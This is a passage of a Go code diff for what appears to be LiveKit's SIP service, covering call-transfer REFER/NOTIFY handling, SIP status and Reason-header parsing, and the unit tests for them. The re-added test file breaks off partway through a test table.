Once the transfer target answers, our peer reports it + // in the final NOTIFY and then BYEs the original leg, which is no longer + // needed. We handle that NOTIFY and that BYE on separate goroutines, so the + // BYE often wins the race. Without this window a transfer that actually + // completed would be reported as aborted. + referResultGrace = time.Second +) + +var ( + referIdRegexp = regexp.MustCompile(`^refer(;id=(\d+))?$`) +) + +type Result struct { + Code sip.StatusCode + Status string +} + +func (r Result) NewResponse(req *sip.Request) *sip.Response { + if r.Code == 0 { + r.Code = sip.StatusServiceUnavailable + } + if r.Status == "" { + r.Status = sipStatus(r.Code) + } + return sip.NewResponseFromRequest(req, r.Code, r.Status, nil) +} + +type EndCall struct { + Report error // reported to LiveKit analytics + Status CallStatus // TODO: legacy + Term stats.Termination + Reason livekit.DisconnectReason // disconnect reason for LiveKit participant + Headers map[string]string // extra headers to send to SIP peer +} + +var statusNamesMap = map[int]string{ + 100: "Trying", + 180: "Ringing", + 181: "Call Is Forwarded", + 182: "Queued", + 183: "Session In Progress", + + 200: "OK", + 202: "Accepted", + + 301: "Moved Permanently", + 302: "Moved Temporarily", + 305: "Use Proxy", + + 400: "Bad Request", + 401: "Unauthorized", + 402: "Payment Required", + 403: "Forbidden", + 404: "Not Found", + 405: "Method Not Allowed", + 406: "Not Acceptable", + 407: "Proxy Auth Required", + 408: "Request Timeout", + 409: "Conflict", + 410: "Gone", + 413: "Request Entity Too Large", + 414: "Request URI Too Long", + 415: "Unsupported Media Type", + 416: "Requested Range Not Satisfiable", + 420: "Bad Extension", + 421: "Extension Required", + 423: "Interval Too Brief", + 480: "Temporarily Unavailable", + 481: "Call Transaction Does Not Exists", + 482: "Loop Detected", + 483: "Too Many Hops", + 484: "Address Incomplete", + 485: "Ambiguous", + 486: "Busy Here", + 487: "Request Terminated", + 488: "Not Acceptable Here", + + 500: "Internal Server Error", + 501: "Not Implemented", + 502: "Bad Gateway", + 503: "Service Unavailable", + 504: "Gateway Timeout", + 505: "Version Not Supported", + 513: "Message Too Large", + + 600: "Global Busy Everywhere", + 603: "Global Decline", + 604: "Global Does Not Exist Anywhere", + 606: "Global Not Acceptable", +} + +func sipStatus(code sip.StatusCode) string { + if name := statusNamesMap[int(code)]; name != "" { + return name + } + return fmt.Sprintf("Status %d", int(code)) +} + +func statusName(status int) string { + if name := statusNamesMap[status]; name != "" { + return fmt.Sprintf("%d-%s", status, strings.ReplaceAll(name, " ", "")) + } + return fmt.Sprintf("status-%d", status) +} + +// Sentinel errors emitted on outbound dial failure paths so callers can match +// them with errors.Is without depending on the human-readable message. +var ( + ErrSIPRequestTimeout = errors.New("sip request timed out") + ErrAuthMaxRetry = errors.New("max auth retry attempts reached for SIP invite") + ErrAuthMissingCreds = errors.New("sip server required auth, but no username or password was provided") + ErrAuthNoHeader = errors.New("no auth header in sip invite response") +) + +// Sentinel errors for cold transfer outcomes the bridge decides on its own, +// without a SIP status from the peer. Wrapped in psrpc errors at the point they +// are produced; errors.Is still matches through the wrapper. +var ( + errTransferCallEnded = errors.New("call ended before transfer completed") + errReferSubscriptionTerminated = errors.New("REFER subscription terminated without a final status") +) + +type setHeadersFunc func(headers map[string]string) map[string]string + +type Signaling interface { + Address() sip.Uri + From() sip.Uri + To() sip.Uri + ID() LocalTag + Tag() RemoteTag + SIPCallID() string + RemoteHeaders() Headers + + WriteRequest(req *sip.Request) error + Transaction(req *sip.Request) (sip.ClientTransaction, error) + + Drop() +} + +func transportFromURI(u *sip.Uri) Transport { + if tr, _ := u.UriParams.Get("transport"); tr != "" { + return Transport(strings.ToLower(tr)) + } + return "" +} + +// callTransportFromReq returns the SIP transport used between LK SIP and the provider. +// For the actual transport used between SIP server and the edge, see legTransportFromReq. +func callTransportFromReq(req *sip.Request) Transport { + if to := req.To(); to != nil { + if tr := transportFromURI(&to.Address); tr != "" { + return tr + } + if tr, _ := to.Params.Get("transport"); tr != "" { + return Transport(strings.ToLower(tr)) + } + } + if via := req.Via(); via != nil { + return Transport(strings.ToLower(via.Transport)) + } + return "" +} + +// legTransportFromReq returns the SIP transport used between SIP server and LK SIP edge. +// For the transport used between LK SIP and the provider, see callTransportFromReq. +func legTransportFromReq(req *sip.Request) Transport { + if via := req.Via(); via != nil { + return Transport(strings.ToLower(via.Transport)) + } + if tr := transportFromURI(&req.Recipient); tr != "" { + return tr + } + if to := req.To(); to != nil { + if tr := transportFromURI(&to.Address); tr != "" { + return tr + } + if tr, _ := to.Params.Get("transport"); tr != "" { + return Transport(strings.ToLower(tr)) + } + } + return "" +} + +func transportPort(c *config.Config, t Transport) int { + if t == TransportTLS { + if tc := c.TLS; tc != nil { + return tc.Port + } + } + return c.SIPPort +} + +func getContactURI(c *config.Config, ip netip.Addr, t Transport) URI { + hostname := "" // use signaling IP by default, it's more robust + if t == TransportTLS { + hostname = c.SIPHostname + } + return URI{ + Host: hostname, + Addr: netip.AddrPortFrom(ip, uint16(transportPort(c, t))), + Transport: t, + } +} + +// sendBye sends a BYE and waits for its final response. BYE is a non-INVITE +// transaction (RFC 3261 §17.1.2): the response ends it, no ACK is sent. +func sendBye(ctx context.Context, log logger.Logger, c Signaling, req *sip.Request) { + tx, err := c.Transaction(req) + if err != nil { + log.Infow("cannot send BYE", "error", err) + return + } + defer tx.Terminate() + if _, err := sipResponse(ctx, tx, nil, nil); err != nil { + log.Infow("no response to BYE", "error", err) + } +} + +func NewReferRequest(inviteRequest *sip.Request, inviteResponse *sip.Response, contactHeader *sip.ContactHeader, referToUrl string, headers map[string]string) *sip.Request { + req := sip.NewRequest(sip.REFER, inviteRequest.Recipient) + + req.SipVersion = inviteRequest.SipVersion + sip.CopyHeaders("Via", inviteRequest, req) + // if inviteResponse.IsSuccess() { + // update branch, 2xx ACK is separate Tx + viaHop := req.Via() + viaHop.Params.Add("branch", sip.GenerateBranch()) + // } + + if len(inviteRequest.GetHeaders("Route")) > 0 { + sip.CopyHeaders("Route", inviteRequest, req) + } else { + hdrs := inviteResponse.GetHeaders("Record-Route") + for i := len(hdrs) - 1; i >= 0; i-- { + rrh, ok := hdrs[i].(*sip.RecordRouteHeader) + if !ok { + continue + } + + h := rrh.Clone() + req.AppendHeader(h) + } + } + + maxForwardsHeader := sip.MaxForwardsHeader(70) + req.AppendHeader(&maxForwardsHeader) + + if h := inviteRequest.From(); h != nil { + sip.CopyHeaders("From", inviteRequest, req) + } + + if h := inviteResponse.To(); h != nil { + sip.CopyHeaders("To", inviteResponse, req) + } + + if h := inviteRequest.CallID(); h != nil { + sip.CopyHeaders("Call-ID", inviteRequest, req) + } + + if h := inviteRequest.CSeq(); h != nil { + sip.CopyHeaders("CSeq", inviteRequest, req) + } + + req.AppendHeader(contactHeader) + + cseq := req.CSeq() + cseq.SeqNo = cseq.SeqNo + 1 + cseq.MethodName = sip.REFER + + // Set Refer-To header + referTo := sip.NewHeader("Refer-To", referToUrl) + req.AppendHeader(referTo) + req.AppendHeader(sip.NewHeader("Allow", "INVITE, ACK, CANCEL, BYE, NOTIFY, REFER, MESSAGE, OPTIONS, INFO, SUBSCRIBE")) + + req.SetTransport(inviteRequest.Transport()) + req.SetSource(inviteRequest.Source()) + req.SetDestination(inviteRequest.Destination()) + + for k, v := range headers { + req.AppendHeader(sip.NewHeader(k, v)) + } + + req.SetBody(nil) + + return req +} + +func sendRefer(ctx context.Context, c Signaling, req *sip.Request, stop <-chan struct{}) (*sip.Response, error) { + ctx, span := Tracer.Start(ctx, "sip.sendRefer") + defer span.End() + tx, err := c.Transaction(req) + if err != nil { + return nil, err + } + defer tx.Terminate() + + ctx = context.WithoutCancel(ctx) + resp, err := sipResponse(ctx, tx, stop, nil) + if err != nil { + return nil, err + } + + switch resp.StatusCode { + case sip.StatusOK, 202: // 202 is Accepted + return resp, nil + default: + return resp, &livekit.SIPStatus{ + Code: livekit.SIPStatusCode(resp.StatusCode), + Status: resp.Reason, + } + } +} + +func parseNotifyBody(body string) (int, string, error) { + v := strings.SplitN(body, " ", 3) + + if len(v) < 2 { + return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: not enough tokens") + } + + if strings.ToUpper(v[0]) != "SIP/2.0" { + return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: wrong prefix or SIP version") + } + + // The status line is remote input and ends up narrowed to a SIPStatusCode, + // which is 32-bit, so parse it at that width and reject anything that is not + // a SIP response code rather than carrying a bogus value forward. + code, err := strconv.ParseInt(v[1], 10, 32) + if err != nil { + return 0, "", psrpc.NewError(psrpc.InvalidArgument, err) + } + if code < 100 || code > 699 { + return 0, "", psrpc.NewErrorf(psrpc.InvalidArgument, "invalid notify body: status %d out of range", code) + } + c := int(code) + if len(v) < 3 { + return c, "", nil + } + reason := v[2] + if i := strings.Index(reason, "\n"); i != -1 { + reason = strings.TrimSuffix(reason[:i], "\r") + } + return c, reason, nil +} + +// notifyInfo is the parsed content of a NOTIFY, for the event packages we +// implement (currently only "refer"). +type notifyInfo struct { + Method sip.RequestMethod // event package; sip.REFER for "refer[;id=N]" + CSeq uint32 // REFER CSeq from the event id param, 0 if absent + Status int // sipfrag status code, 0 if the NOTIFY carried no body + Reason string // sipfrag reason phrase + Sub SubscriptionState // Subscription-State header, zero value if absent +} + +func handleNotify(req *sip.Request) (notifyInfo, error) { + event := req.GetHeader("Event") + if event == nil { + event = req.GetHeader("o") + } + if event == nil { + return notifyInfo{}, psrpc.NewErrorf(psrpc.MalformedRequest, "no event in NOTIFY request") + } + + m := referIdRegexp.FindStringSubmatch(strings.ToLower(event.Value())) + if len(m) == 0 { + return notifyInfo{}, psrpc.NewErrorf(psrpc.Unimplemented, "unknown event") + } + + // REFER Notify + info := notifyInfo{Method: sip.REFER} + if len(m) >= 3 { + cseq64, _ := strconv.ParseUint(m[2], 10, 32) + info.CSeq = uint32(cseq64) + } + if h := req.GetHeader("Subscription-State"); h != nil { + info.Sub = ParseSubscriptionState(h.Value()) + } + // RFC 3515 requires a sipfrag body, but RFC 6665 lets a notifier omit the + // state from the NOTIFY that terminates the subscription, and providers do. + // Status 0 then means "no status reported" and Subscription-State decides. + if body := strings.TrimSpace(string(req.Body())); body != "" { + status, reason, err := parseNotifyBody(body) + if err != nil { + return notifyInfo{}, err + } + info.Status, info.Reason = status, reason + } + return info, nil +} + +func handleReferNotify(info notifyInfo, referCseq uint32, referDone chan<- error) { + if info.CSeq != 0 && info.CSeq != referCseq { + // NOTIFY for a different REFER, skip + return + } + var result error + switch { + case info.Status == 200: + // Success. Checked before the terminated subscription below: the final + // NOTIFY of a successful transfer also terminates the subscription. + result = nil + case info.Status == 0 || (info.Status >= 100 && info.Status < 200): + // No final status yet, but if this NOTIFY ended the subscription, no + // further NOTIFY can arrive and the provisional status we have is all + // we will ever get, so fail now rather than waiting out the transfer + // deadline. RFC 3515 lets an agent that does not want to hold subscription + // state terminate with its very first NOTIFY, and for a call still in + // progress, that NOTIFY carries a 100. A subscription that expires, or + // whose notifier gives up, ends the same way. + if !info.Sub.Terminated() { + // still trying + return + } + reason := info.Sub.Reason + if reason == "" { + reason = "unspecified" + } + result = psrpc.NewErrorf(psrpc.UpstreamServerError, "call transfer failed: %w (reason %q, last status %d)", + errReferSubscriptionTerminated, reason, info.Status) + default: + // Failure + st := &livekit.SIPStatus{ + Code: livekit.SIPStatusCode(info.Status), + Status: info.Reason, + } + // Converts SIP status to GRPC via SIPStatus.GRPCStatus(), then converts to psrpc via ErrorCodeFromGRPC() + errorCode, _ := psrpc.GetErrorCode(st) + if errorCode == psrpc.Internal || errorCode == psrpc.Unavailable { + // Temporarily overwrite the code until we support a direct SIPStatus -> psrpc.ErrorCode conversion + errorCode = psrpc.UpstreamServerError + if info.Status < 500 || info.Status >= 600 { // Common 6xx codes: 603 Declined, 608 Rejected + errorCode = psrpc.UpstreamClientError + } + } + result = psrpc.NewErrorf(errorCode, "call transfer failed: %w", st) + } + select { + case referDone <- result: + case <-time.After(notifyAckTimeout): + } +} + +// waitReferResult waits for the outcome of an accepted REFER: a NOTIFY carrying +// a final status, or the subscription ending before one arrives. +// +// callDone fires when the call itself ends (remote BYE, room deletion, local +// hangup). That leaves the transfer outcome unknown, which is a failure and not +// a success. A result that is already on its way wins over it, because a +// successful transfer ends this call too: our peer BYEs the original leg right +// after reporting the outcome. referDone is unbuffered, so its NOTIFY handler +// can still be parked on the handoff while the BYE is processed elsewhere. +func waitReferResult(ctx context.Context, log logger.Logger, callDone <-chan struct{}, referDone <-chan error) error { + select { + case <-ctx.Done(): + // Wrap ctx.Err() so callers can still tell a blown deadline from a cancel. + return psrpc.NewErrorf(psrpc.Canceled, "refer canceled: %w", ctx.Err()) + case err := <-referDone: + return err + case <-callDone: + select { + case err := <-referDone: + log.Infow("refer result raced call end", "error", err) + return err + case <-time.After(referResultGrace): + } + log.Infow("refer failed: call ended before transfer completed") + return psrpc.NewError(psrpc.Aborted, errTransferCallEnded) + } +} + +func sipStatusForErrorCode(code psrpc.ErrorCode) sip.StatusCode { + switch code { + case psrpc.OK: + return sip.StatusOK + case psrpc.Canceled, psrpc.DeadlineExceeded: + return sip.StatusRequestTimeout + case psrpc.Unknown, psrpc.MalformedResponse, psrpc.Internal, psrpc.DataLoss: + return sip.StatusInternalServerError + case psrpc.InvalidArgument, psrpc.MalformedRequest: + return sip.StatusBadRequest + case psrpc.NotFound: + return sip.StatusNotFound + case psrpc.NotAcceptable: + return sip.StatusNotAcceptable + case psrpc.AlreadyExists, psrpc.Aborted: + return sip.StatusConflict + case psrpc.PermissionDenied: + return sip.StatusForbidden + case psrpc.ResourceExhausted: + return sip.StatusTemporarilyUnavailable + case psrpc.FailedPrecondition: + return sip.StatusCallTransactionDoesNotExists + case psrpc.OutOfRange: + return sip.StatusRequestedRangeNotSatisfiable + case psrpc.Unimplemented: + return sip.StatusNotImplemented + case psrpc.Unavailable: + return sip.StatusServiceUnavailable + case psrpc.Unauthenticated: + return sip.StatusUnauthorized + case psrpc.UpstreamServerError: + return sip.StatusBadGateway + case psrpc.UpstreamClientError: + return sip.StatusTemporarilyUnavailable + default: + return sip.StatusInternalServerError + } +} + +func sipCodeAndMessageFromError(err error) (code sip.StatusCode, msg string) { + code = 200 + var psrpcErr psrpc.Error + if errors.As(err, &psrpcErr) { + code = sipStatusForErrorCode(psrpcErr.Code()) + } else if err != nil { + code = 500 + } + + msg = "success" + if err != nil { + msg = err.Error() + } + + return code, msg +} + +func setCSeq(req *sip.Request, cseq uint32) { + h := &sip.CSeqHeader{ + MethodName: req.Method, + SeqNo: cseq, + } + + req.RemoveHeader(h.Name()) + req.AppendHeader(h) +} + +func ToSIPUri(ip string, u sip.Uri) *livekit.SIPUri { + tr, _ := u.UriParams.Get("transport") + url := &livekit.SIPUri{ + User: u.User, + Host: u.Host, + Ip: ip, + Port: uint32(u.Port), + Transport: SIPTransportFrom(Transport(tr)), + } + return url +} + +// SubscriptionState is a parsed Subscription-State header. Every NOTIFY must +// carry one, including the NOTIFYs of the subscription a REFER creates +// implicitly, but not every provider sends it. +type SubscriptionState struct { + State string // substate: "active", "pending", "terminated", or an extension + Reason string // reason param: noresource, giveup, timeout, rejected, ... + Expires int // expires param in seconds, 0 if absent +} + +// Terminated reports whether the notifier ended the subscription, meaning no +// further NOTIFY will arrive for it. +func (s SubscriptionState) Terminated() bool { + return s.State == "terminated" +} + +func (s SubscriptionState) String() string { + if s.State == "" { + return "" + } + if s.Reason == "" { + return s.State + } + return s.State + ";reason=" + s.Reason +} + +// ParseSubscriptionState parses a Subscription-State header value. It has no +// error return on purpose: a handleNotify error becomes a non-2xx answer to the +// NOTIFY, and an odd value in this header is no reason to reject one. An +// unrecognized state yields the zero value, which is not Terminated, so the +// transfer keeps waiting. +func ParseSubscriptionState(header string) SubscriptionState { + list := strings.Split(header, ";") + st := SubscriptionState{State: strings.ToLower(strings.TrimSpace(list[0]))} + for _, line := range list[1:] { + line = strings.TrimSpace(line) + i := strings.Index(line, "=") + if i < 0 { + continue + } + key := strings.ToLower(strings.TrimSpace(line[:i])) + val := strings.TrimSpace(line[i+1:]) + switch key { + case "reason": + st.Reason = strings.ToLower(val) + case "expires": + st.Expires, _ = strconv.Atoi(val) + } + } + return st +} + +type ReasonHeader struct { + Type string + Cause int + Text string +} + +func (r ReasonHeader) IsZero() bool { + return r == ReasonHeader{} +} + +func (r ReasonHeader) IsNormal() bool { + if r.IsZero() { + return true // assume there's no specific reason + } + switch r.Type { + case "q.850": + switch r.Cause { + case 16: // Normal call clearing + return true + } + case "x.int": + switch r.Cause { + case 0x00: + return true + } + case "release_cause": + switch r.Cause { + case 1: + return true + } + case "sip": + switch r.Cause { + case 0: // not set, assume success + return true + case 200: + return true + } + } + return false +} + +func (r ReasonHeader) String() string { + if r.IsZero() { + return "" + } + return fmt.Sprintf("%s-%d: %s", r.Type, r.Cause, r.Text) +} + +func ParseReasonHeader(header string) (ReasonHeader, error) { + list := strings.Split(header, ";") + if len(list) < 2 { + return ReasonHeader{}, errors.New("no fields in the reason") + } + typ := strings.TrimSpace(list[0]) + typ = strings.ToLower(typ) + r := ReasonHeader{Type: typ} + var reasonCode string + for _, line := range list[1:] { + line = strings.TrimSpace(line) + i := strings.Index(line, "=") + if i < 0 { + continue + } + key := strings.TrimSpace(line[:i]) + val := strings.TrimSpace(line[i+1:]) + switch key { + case "cause": + r.Cause, _ = strconv.Atoi(val) + case "text": + r.Text, _ = strconv.Unquote(val) + case "description": + if r.Text == "" { + r.Text, _ = strconv.Unquote(val) + } + case "reasoncode": + reasonCode = val + } + } + switch typ { + case "x.int": + if r.Cause == 0 { + if reasonCode != "" { + v, _ := strconv.ParseUint(reasonCode, 0, 64) + r.Cause = int(v) + } else if r.Text != "" { + v, err := strconv.ParseUint(r.Text, 0, 64) + r.Cause = int(v) + if err == nil { + r.Text = "" + } + } + } + } + return r, nil +} diff --git a/pkg/sip/protocol_test.go b/pkg/sip/protocol_test.go index 88f32d7fb..4e3f68244 100644 --- a/pkg/sip/protocol_test.go +++ b/pkg/sip/protocol_test.go @@ -1,406 +1,406 @@ -package sip - -import ( - "context" - "testing" - "time" - - "github.com/stretchr/testify/require" - - "github.com/livekit/protocol/livekit" - "github.com/livekit/protocol/logger" - "github.com/livekit/psrpc" - "github.com/livekit/sipgo/sip" -) - -func TestHandleNotify(t *testing.T) { - const headers = "\r\nX-Foo: bar\r\n\r\n" - newNotify := func(event string, subState string, body string) *sip.Request { - req := sip.NewRequest(sip.NOTIFY, sip.Uri{ - Host: "foo.bar", - }) - req.AppendHeader(sip.NewHeader("Event", event)) - if subState != "" { - req.AppendHeader(sip.NewHeader("Subscription-State", subState)) - } - if body != "" { - req.SetBody([]byte(body)) - } - return req - } - - cases := []struct { - Name string - Event string - SubState string - Body string - Expect notifyInfo - Error bool - }{ - { - Name: "no id", - Event: "refer", - Body: "SIP/2.0 200 OK" + headers, - Expect: notifyInfo{Method: sip.REFER, Status: 200, Reason: "OK"}, - }, - { - Name: "id", - Event: "refer;id=1234", - Body: "SIP/2.0 200 OK" + headers, - Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 200, Reason: "OK"}, - }, - { - Name: "failure", - Event: "refer;id=1234", - Body: "SIP/2.0 404 Not found" + headers, - Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 404, Reason: "Not found"}, - }, - { - Name: "active", - Event: "refer", - SubState: "active;expires=60", - Body: "SIP/2.0 100 Trying" + headers, - Expect: notifyInfo{Method: sip.REFER, Status: 100, Reason: "Trying", - Sub: SubscriptionState{State: "active", Expires: 60}}, - }, - { - Name: "terminated", - Event: "refer;id=1234", - SubState: "terminated;reason=noresource", - Body: "SIP/2.0 100 Trying" + headers, - Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 100, Reason: "Trying", - Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, - }, - { - Name: "terminated no body", - Event: "refer", - SubState: "TERMINATED ; Reason = GiveUp", - Expect: notifyInfo{Method: sip.REFER, - Sub: SubscriptionState{State: "terminated", Reason: "giveup"}}, - }, - { - Name: "unparsable state", - Event: "refer", - SubState: "???", - Body: "SIP/2.0 200 OK" + headers, - Expect: notifyInfo{Method: sip.REFER, Status: 200, Reason: "OK", - Sub: SubscriptionState{State: "???"}}, - }, - { - Name: "status out of range", - Event: "refer", - Body: "SIP/2.0 99999999999 Boom" + headers, - Error: true, - }, - { - Name: "status below the SIP range", - Event: "refer", - Body: "SIP/2.0 42 Nope" + headers, - Error: true, - }, - { - Name: "bad SIP version", - Event: "refer;id=1234", - Body: "SIP/3.0 200 OK" + headers, - Error: true, - }, - { - Name: "unknown event", - Event: "invite;id=1234", - Body: "SIP/2.0 200 OK" + headers, - Error: true, - }, - } - for _, c := range cases { - t.Run(c.Name, func(t *testing.T) { - info, err := handleNotify(newNotify(c.Event, c.SubState, c.Body)) - if c.Error { - require.Error(t, err) - return - } - require.NoError(t, err) - require.Equal(t, c.Expect, info) - }) - } -} - -func TestParseSubscriptionState(t *testing.T) { - cases := []struct { - Name string - Header string - State SubscriptionState - Terminated bool - }{ - { - Name: "active", - Header: "active", - State: SubscriptionState{State: "active"}, - }, - { - Name: "active with expires", - Header: "active;expires=3600", - State: SubscriptionState{State: "active", Expires: 3600}, - }, - { - Name: "pending", - Header: "pending;expires=0", - State: SubscriptionState{State: "pending"}, - }, - { - Name: "terminated", - Header: "terminated", - State: SubscriptionState{State: "terminated"}, - Terminated: true, - }, - { - Name: "terminated with reason", - Header: "terminated;reason=noresource;retry-after=0", - State: SubscriptionState{State: "terminated", Reason: "noresource"}, - Terminated: true, - }, - { - Name: "mixed case and spaces", - Header: " Terminated ; Reason = TimeOut ", - State: SubscriptionState{State: "terminated", Reason: "timeout"}, - Terminated: true, - }, - { - Name: "params without values", - Header: "active;foo;expires", - State: SubscriptionState{State: "active"}, - }, - { - Name: "empty", - Header: " ", - State: SubscriptionState{}, - }, - { - Name: "extension substate", - Header: "waiting;reason=noresource", - State: SubscriptionState{State: "waiting", Reason: "noresource"}, - }, - } - for _, c := range cases { - t.Run(c.Name, func(t *testing.T) { - st := ParseSubscriptionState(c.Header) - require.Equal(t, c.State, st) - require.Equal(t, c.Terminated, st.Terminated()) - }) - } -} - -func TestHandleReferNotify(t *testing.T) { - const referCseq = 8 - cases := []struct { - Name string - Info notifyInfo - // Expect describes the result handed to referDone. Nil means nothing at - // all should be sent. - Expect func(t *testing.T, err error) - }{ - { - Name: "provisional", - Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "active"}}, - }, - { - Name: "provisional no state", - Info: notifyInfo{Status: 180}, - }, - { - Name: "other refer", - Info: notifyInfo{CSeq: referCseq + 1, Status: 200}, - }, - { - Name: "success", - Info: notifyInfo{CSeq: referCseq, Status: 200}, - Expect: func(t *testing.T, err error) { - require.NoError(t, err) - }, - }, - { - Name: "success terminates subscription", - Info: notifyInfo{Status: 200, Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, - Expect: func(t *testing.T, err error) { - require.NoError(t, err) - }, - }, - { - Name: "terminated on provisional", - Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, - Expect: func(t *testing.T, err error) { - require.ErrorIs(t, err, errReferSubscriptionTerminated) - require.Contains(t, err.Error(), "noresource") - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - require.Equal(t, psrpc.UpstreamServerError, psErr.Code()) - var sipErr *livekit.SIPStatus - require.NotErrorAs(t, err, &sipErr, "no SIP status was reported for this transfer") - }, - }, - { - Name: "terminated without body", - Info: notifyInfo{Sub: SubscriptionState{State: "terminated", Reason: "giveup"}}, - Expect: func(t *testing.T, err error) { - require.ErrorIs(t, err, errReferSubscriptionTerminated) - require.Contains(t, err.Error(), "giveup") - }, - }, - { - Name: "terminated without reason", - Info: notifyInfo{Status: 100, Sub: SubscriptionState{State: "terminated"}}, - Expect: func(t *testing.T, err error) { - require.ErrorIs(t, err, errReferSubscriptionTerminated) - require.Contains(t, err.Error(), "unspecified") - }, - }, - { - Name: "failure", - Info: notifyInfo{Status: 480, Reason: "Temporarily Unavailable", - Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, - Expect: func(t *testing.T, err error) { - require.Error(t, err) - var sipErr *livekit.SIPStatus - require.ErrorAs(t, err, &sipErr) - require.Equal(t, livekit.SIPStatusCode(480), sipErr.Code) - }, - }, - } - for _, c := range cases { - t.Run(c.Name, func(t *testing.T) { - // Buffered so the cases expecting no result don't wait out notifyAckTimeout. - referDone := make(chan error, 1) - handleReferNotify(c.Info, referCseq, referDone) - if c.Expect == nil { - require.Empty(t, referDone, "expected no transfer result") - return - } - require.Len(t, referDone, 1, "expected a transfer result") - c.Expect(t, <-referDone) - }) - } -} - -func TestWaitReferResult(t *testing.T) { - log := logger.GetLogger() - - closedChan := func() chan struct{} { - ch := make(chan struct{}) - close(ch) - return ch - } - - t.Run("result", func(t *testing.T) { - referDone := make(chan error, 1) - referDone <- nil - require.NoError(t, waitReferResult(t.Context(), log, nil, referDone)) - }) - - t.Run("result wins over call end", func(t *testing.T) { - // Models a NOTIFY handler parked on the unbuffered handoff while the BYE - // is processed elsewhere. - referDone := make(chan error) - go func() { referDone <- nil }() - require.NoError(t, waitReferResult(t.Context(), log, closedChan(), referDone)) - }) - - t.Run("failure wins over call end", func(t *testing.T) { - referDone := make(chan error) - want := psrpc.NewErrorf(psrpc.UpstreamClientError, "call transfer failed") - go func() { referDone <- want }() - require.ErrorIs(t, waitReferResult(t.Context(), log, closedChan(), referDone), want) - }) - - t.Run("call ended", func(t *testing.T) { - start := time.Now() - err := waitReferResult(t.Context(), log, closedChan(), make(chan error)) - require.ErrorIs(t, err, errTransferCallEnded) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - require.Equal(t, psrpc.Aborted, psErr.Code()) - require.GreaterOrEqual(t, time.Since(start), referResultGrace) - }) - - t.Run("canceled", func(t *testing.T) { - ctx, cancel := context.WithCancel(t.Context()) - cancel() - err := waitReferResult(ctx, log, nil, make(chan error)) - var psErr psrpc.Error - require.ErrorAs(t, err, &psErr) - require.Equal(t, psrpc.Canceled, psErr.Code()) - }) -} - -func TestParseReason(t *testing.T) { - cases := []struct { - Name string - Header string - Reason ReasonHeader - Normal bool - }{ - { - Name: "SIP", - Header: `SIP ;cause=200 ;text="Call completed elsewhere"`, - Reason: ReasonHeader{ - Type: "sip", - Cause: 200, - Text: "Call completed elsewhere", - }, - Normal: true, - }, - { - Name: "SIP no cause", - Header: `SIP;description="User Hung Up"`, - Reason: ReasonHeader{ - Type: "sip", - Cause: 0, - Text: "User Hung Up", - }, - Normal: true, - }, - { - Name: "Q.850", - Header: `Q.850;cause=16;text="Terminated"`, - Reason: ReasonHeader{ - Type: "q.850", - Cause: 16, - Text: "Terminated", - }, - Normal: true, - }, - { - Name: "X.int", - Header: `X.int;text="0x00000000";add-info=05CC.0001.0001`, - Reason: ReasonHeader{ - Type: "x.int", - Cause: 0x00, - }, - Normal: true, - }, - { - Name: "X.int not ok text", - Header: `X.int;text="0x00000001";add-info=05CC.0001.0001`, - Reason: ReasonHeader{ - Type: "x.int", - Cause: 0x01, - }, - Normal: false, - }, - { - Name: "X.int reason code", - Header: `X.int;reasoncode=0x0000032D;add-info=05CC.0001.0004`, - Reason: ReasonHeader{ - Type: "x.int", - Cause: 0x32D, - }, - Normal: false, - }, - } - for _, c := range cases { - t.Run(c.Name, func(t *testing.T) { - r, err := ParseReasonHeader(c.Header) - require.NoError(t, err) - require.Equal(t, c.Reason, r) - require.Equal(t, c.Normal, r.IsNormal()) - }) - } -} +package sip + +import ( + "context" + "testing" + "time" + + "github.com/stretchr/testify/require" + + "github.com/livekit/protocol/livekit" + "github.com/livekit/protocol/logger" + "github.com/livekit/psrpc" + "github.com/livekit/sipgo/sip" +) + +func TestHandleNotify(t *testing.T) { + const headers = "\r\nX-Foo: bar\r\n\r\n" + newNotify := func(event string, subState string, body string) *sip.Request { + req := sip.NewRequest(sip.NOTIFY, sip.Uri{ + Host: "foo.bar", + }) + req.AppendHeader(sip.NewHeader("Event", event)) + if subState != "" { + req.AppendHeader(sip.NewHeader("Subscription-State", subState)) + } + if body != "" { + req.SetBody([]byte(body)) + } + return req + } + + cases := []struct { + Name string + Event string + SubState string + Body string + Expect notifyInfo + Error bool + }{ + { + Name: "no id", + Event: "refer", + Body: "SIP/2.0 200 OK" + headers, + Expect: notifyInfo{Method: sip.REFER, Status: 200, Reason: "OK"}, + }, + { + Name: "id", + Event: "refer;id=1234", + Body: "SIP/2.0 200 OK" + headers, + Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 200, Reason: "OK"}, + }, + { + Name: "failure", + Event: "refer;id=1234", + Body: "SIP/2.0 404 Not found" + headers, + Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 404, Reason: "Not found"}, + }, + { + Name: "active", + Event: "refer", + SubState: "active;expires=60", + Body: "SIP/2.0 100 Trying" + headers, + Expect: notifyInfo{Method: sip.REFER, Status: 100, Reason: "Trying", + Sub: SubscriptionState{State: "active", Expires: 60}}, + }, + { + Name: "terminated", + Event: "refer;id=1234", + SubState: "terminated;reason=noresource", + Body: "SIP/2.0 100 Trying" + headers, + Expect: notifyInfo{Method: sip.REFER, CSeq: 1234, Status: 100, Reason: "Trying", + Sub: SubscriptionState{State: "terminated", Reason: "noresource"}}, + }, + { + Name: "terminated no body", + Event: "refer", + SubState: "TERMINATED ; Reason = GiveUp", + Expect: notifyInfo{Method: sip.REFER, + Sub: SubscriptionState{State: "terminated", Reason: "giveup"}}, + }, + { + Name: "unparsable state", + Event: "refer", + SubState: "???", + Body: "SIP/2.0 200 OK" + headers, + Expect: notifyInfo{Method: sip.REFER, Status: 200, Reason: "OK", + Sub: SubscriptionState{State: "???"}}, 